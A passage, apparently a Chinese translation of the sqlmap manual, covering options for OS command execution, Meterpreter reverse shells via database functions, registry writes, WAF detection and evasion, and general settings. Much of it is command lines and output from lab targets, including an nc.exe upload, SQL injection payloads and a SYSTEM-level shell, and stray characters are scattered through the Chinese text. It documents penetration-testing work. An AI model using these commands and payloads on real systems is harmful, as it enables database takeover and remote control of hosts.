do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
運行任意操作系統(tǒng)命令
參數(shù):--os-cmd,--os-shell
當數(shù)據庫為MySQL,PostgreSQL或Microsoft SQL Server羡鸥,并且當前用戶有權限使用特定的函數(shù)蔑穴。
在MySQL、PostgreSQL惧浴,sqlmap上傳一個二進制庫存和,包含用戶自定義的函數(shù),sys_exec()和sys_eval()。
那么他創(chuàng)建的這兩個函數(shù)可以執(zhí)行系統(tǒng)命令捐腿。在Microsoft SQL Server纵朋,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認禁制)茄袖,sqlmap會重新啟用它操软,如果不存在,會自動創(chuàng)建宪祥。
列舉一個PostgreSQL的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \--os-cmd id -v 1[...]web application technology: PHP 5.2.6, Apache 2.2.9back-end DBMS: PostgreSQL[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:12] [INFO] the back-end DBMS operating system is Linux[hh:mm:12] [INFO] testing if current user is DBA[hh:mm:12] [INFO] detecting back-end DBMS version from its banner[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF filedo you want to retrieve the command standard output? [Y/n/a] ycommand standard output:'uid=104(postgres) gid=106(postgres) groups=106(postgres)'[hh:mm:19] [INFO] cleaning up the database management systemdo you want to remove UDF 'sys_eval'? [Y/n] ydo you want to remove UDF 'sys_exec'? [Y/n] y[hh:mm:23] [INFO] database management system cleanup finished[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
用--os-shell參數(shù)也可以模擬一個真實的shell聂薪,可以輸入你想執(zhí)行的命令。
當不能執(zhí)行多語句的時候(比如php或者asp的后端數(shù)據庫為MySQL時)蝗羊,仍然可能使用INTO OUTFILE寫進可寫目錄藏澳,來創(chuàng)建一個web后門。支持的語言:
1肘交、ASP
2笆载、ASP.NET
3、JSP
4涯呻、PHP
Meterpreter配合使用
參數(shù):--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
當數(shù)據庫為MySQL凉驻,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數(shù)复罐,可以在數(shù)據庫與攻擊者直接建立TCP連接涝登,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode效诅,并有四種方式執(zhí)行它:
1胀滚、通過用戶自定義的sys_bineval()函數(shù)在內存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據庫乱投,參數(shù):--os-pwn咽笼。
2、通過用戶自定義的函數(shù)上傳一個獨立的payload執(zhí)行戚炫,MySQL和PostgreSQL的sys_exec()函數(shù)剑刑,Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):--os-pwn双肤。
3施掏、通過SMB攻擊(MS08-068)來執(zhí)行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0茅糜,Windows是Administrator)七芭,--os-smbrelay。
4蔑赘、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004)狸驳,在內存中執(zhí)行Metasploit的payload预明,參數(shù):--os-bof
列舉一個MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
_
| |? ? ? o
_? _? _? ? _ _|_? __,? ,? ? _? | |? __? ? _|_
/ |/ |/ |? |/? |? /? |? / \_|/ \_|/? /? \_|? |
|? |? |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS? ? ? ? ? ? ? : Windows .NET Server (Build 3790, Service Pack 2).
Computer? ? ? ? : W2K3R2
Architecture? ? : x86
Meterpreter? ? : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address? : 127.0.0.1
Netmask? ? : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address? : 192.168.136.129
Netmask? ? : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed.? Reason: User exit
默認情況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運行耙箍,Microsoft SQL Server 2000默認是以SYSTEM權限運行贮庞,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。
對Windows注冊表操作
當數(shù)據庫為MySQL究西,PostgreSQL或Microsoft SQL Server窗慎,并且當前web應用支持堆查詢。 當然卤材,當前連接數(shù)據庫的用戶也需要有權限操作注冊表遮斥。
讀取注冊表值
參數(shù):--reg-read
寫入注冊表值
參數(shù):--reg-add
刪除注冊表值
參數(shù):--reg-del
注冊表輔助選項
參數(shù):--reg-key,--reg-value扇丛,--reg-data术吗,--reg-type
需要配合之前三個參數(shù)使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
常規(guī)參數(shù)
從sqlite中讀取session
參數(shù):-s
sqlmap對每一個目標都會在output路徑下自動生成一個SQLite文件帆精,如果用戶想指定讀取的文件路徑较屿,就可以用這個參數(shù)。
保存HTTP(S)日志
參數(shù):-t
這個參數(shù)需要跟一個文本文件卓练,sqlmap會把HTTP(S)請求與響應的日志保存到那里隘蝎。
非交互模式
參數(shù):--batch
用此參數(shù),不需要用戶輸入襟企,將會使用sqlmap提示的默認值一直運行下去嘱么。
強制使用字符編碼
參數(shù):--charset
不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼如:
--charset=GBK
爬行網站URL
參數(shù):--crawl
sqlmap可以收集潛在的可能存在漏洞的連接顽悼,后面跟的參數(shù)是爬行的深度曼振。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
規(guī)定輸出到CSV中的分隔符
參數(shù):--csv-del
當dump保存為CSV格式時(--dump-format=CSV),需要一個分隔符默認是逗號蔚龙,用戶也可以改為別的 如:
--csv-del=";"
DBMS身份驗證
參數(shù):--dbms-cred
某些時候當前用戶的權限不夠冰评,做某些操作會失敗,如果知道高權限用戶的密碼木羹,可以使用此參數(shù)甲雅,有的數(shù)據庫有專門的運行機制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數(shù)
定義dump數(shù)據的格式
參數(shù):--dump-format
輸出的格式可定義為:CSV汇跨,HTML务荆,SQLITE
預估完成時間
參數(shù):--eta
可以計算注入數(shù)據的剩余時間妆距。
例如Oracle的布爾型盲注:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ] 11/64? ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:? ? 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
sqlmap先輸出長度穷遂,預計完成時間,顯示百分比娱据,輸出字符
刷新session文件
參數(shù):--flush-session
如果不想用之前緩存這個目標的session文件蚪黑,可以使用這個參數(shù)盅惜。 會清空之前的session,重新測試該目標忌穿。
自動獲取form表單測試
參數(shù):--forms
如果你想對一個頁面的form表單中的參數(shù)測試抒寂,可以使用-r參數(shù)讀取請求文件,或者通過--data參數(shù)測試掠剑。 但是當使用--forms參數(shù)時屈芜,sqlmap會自動從-u中的url獲取頁面中的表單進行測試。
忽略在會話文件中存儲的查詢結果
參數(shù):--fresh-queries
忽略session文件保存的查詢朴译,重新查詢井佑。
使用DBMS的hex函數(shù)
參數(shù):--hex
有時候字符編碼的問題,可能導致數(shù)據丟失眠寿,可以使用hex函數(shù)來避免:
針對PostgreSQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [function.pg-query]: Query failed: ERROR:? invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in /var/www/sqlmap/libs/pgsql.inc.php on line 35'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
自定義輸出的路徑
參數(shù):--output-dir
sqlmap默認把session文件跟結果文件保存在output文件夾下躬翁,用此參數(shù)可自定義輸出路徑 例如:--output-dir=/tmp
從響應中獲取DBMS的錯誤信息
參數(shù):--parse-errors
有時目標沒有關閉DBMS的報錯阁最,當數(shù)據庫語句錯誤時印颤,會輸出錯誤語句,用此參數(shù)可以顯示出錯誤信息玛迄。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
其他的一些參數(shù)
使用參數(shù)縮寫
參數(shù):-z
有使用參數(shù)太長太復雜狡逢,可以使用縮寫模式宁舰。 例如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以寫成:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
還有:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以寫成:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
成功SQL注入時警告
參數(shù):--alert
設定會發(fā)的答案
參數(shù):--answers
當希望sqlmap提出輸入時,自動輸入自己想要的答案可以使用此參數(shù): 例子:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
[...]
發(fā)現(xiàn)SQL注入時發(fā)出蜂鳴聲
參數(shù):--beep
發(fā)現(xiàn)sql注入時奢浑,發(fā)出蜂鳴聲明吩。
啟發(fā)式檢測WAF/IPS/IDS保護
參數(shù):--check-waf
WAF/IPS/IDS保護可能會對sqlmap造成很大的困擾,如果懷疑目標有此防護的話殷费,可以使用此參數(shù)來測試印荔。 sqlmap將會使用一個不存在的參數(shù)來注入測試
例如:
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
如果有保護的話可能返回結果會不同。
清理sqlmap的UDF(s)和表
參數(shù):--cleanup
清除sqlmap注入時產生的udf與表详羡。
禁用彩色輸出
參數(shù):--desable-coloring
sqlmap默認彩色輸出仍律,可以使用此參數(shù),禁掉彩色輸出实柠。
使用指定的Google結果頁面
參數(shù):--gpage
默認sqlmap使用前100個URL地址作為注入測試水泉,結合此選項,可以指定頁面的URL測試窒盐。
使用HTTP參數(shù)污染(Http parament pollution)
參數(shù):-hpp
HTTP參數(shù)污染可能會繞過WAF/IPS/IDS保護機制草则,這個對ASP/IIS與ASP.NET/IIS平臺很有效。
測試WAF/IPS/IDS保護
參數(shù):--identify-waf
sqlmap 可以嘗試找出 WAF/IPS/IDS 保護蟹漓,方便用戶做出繞過方式炕横。目前大約支持30種產品的識別。
例如對一個受到ModSecurity WAF保護的MySQL例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL]
WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'.
Please consider usage of tamper scripts (option '--tamper')
[...]
模仿智能手機
參數(shù):--mobile
有時服務端只接收移動端的訪問葡粒,此時可以設定一個手機的User-Agent來模仿手機登陸份殿。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
安全的刪除output目錄的文件
參數(shù):--purge-output
有時需要刪除結果文件膜钓,而不被恢復,可以使用此參數(shù)卿嘲,原有文件將會被隨機的一些文件覆蓋颂斜。
例如:
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
啟發(fā)式判斷注入
參數(shù):--smart
有時對目標非常多的URL進行測試,為節(jié)省時間拾枣,只對能夠快速判斷為注入的報錯點進行注入沃疮,可以使用此參數(shù)。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]
初級用戶向導參數(shù)
參數(shù):--wizard 面向初級用戶的參數(shù)梅肤,可以一步一步教你如何輸入針對目標注入忿磅。
$ python sqlmap.py --wizard
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:25:26
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1
sqlmap is running, please wait..
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 4 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:? ? 'sa'
current database:? ? 'testdb'
current user is DBA:? ? True
[*] shutting down at 11:25:52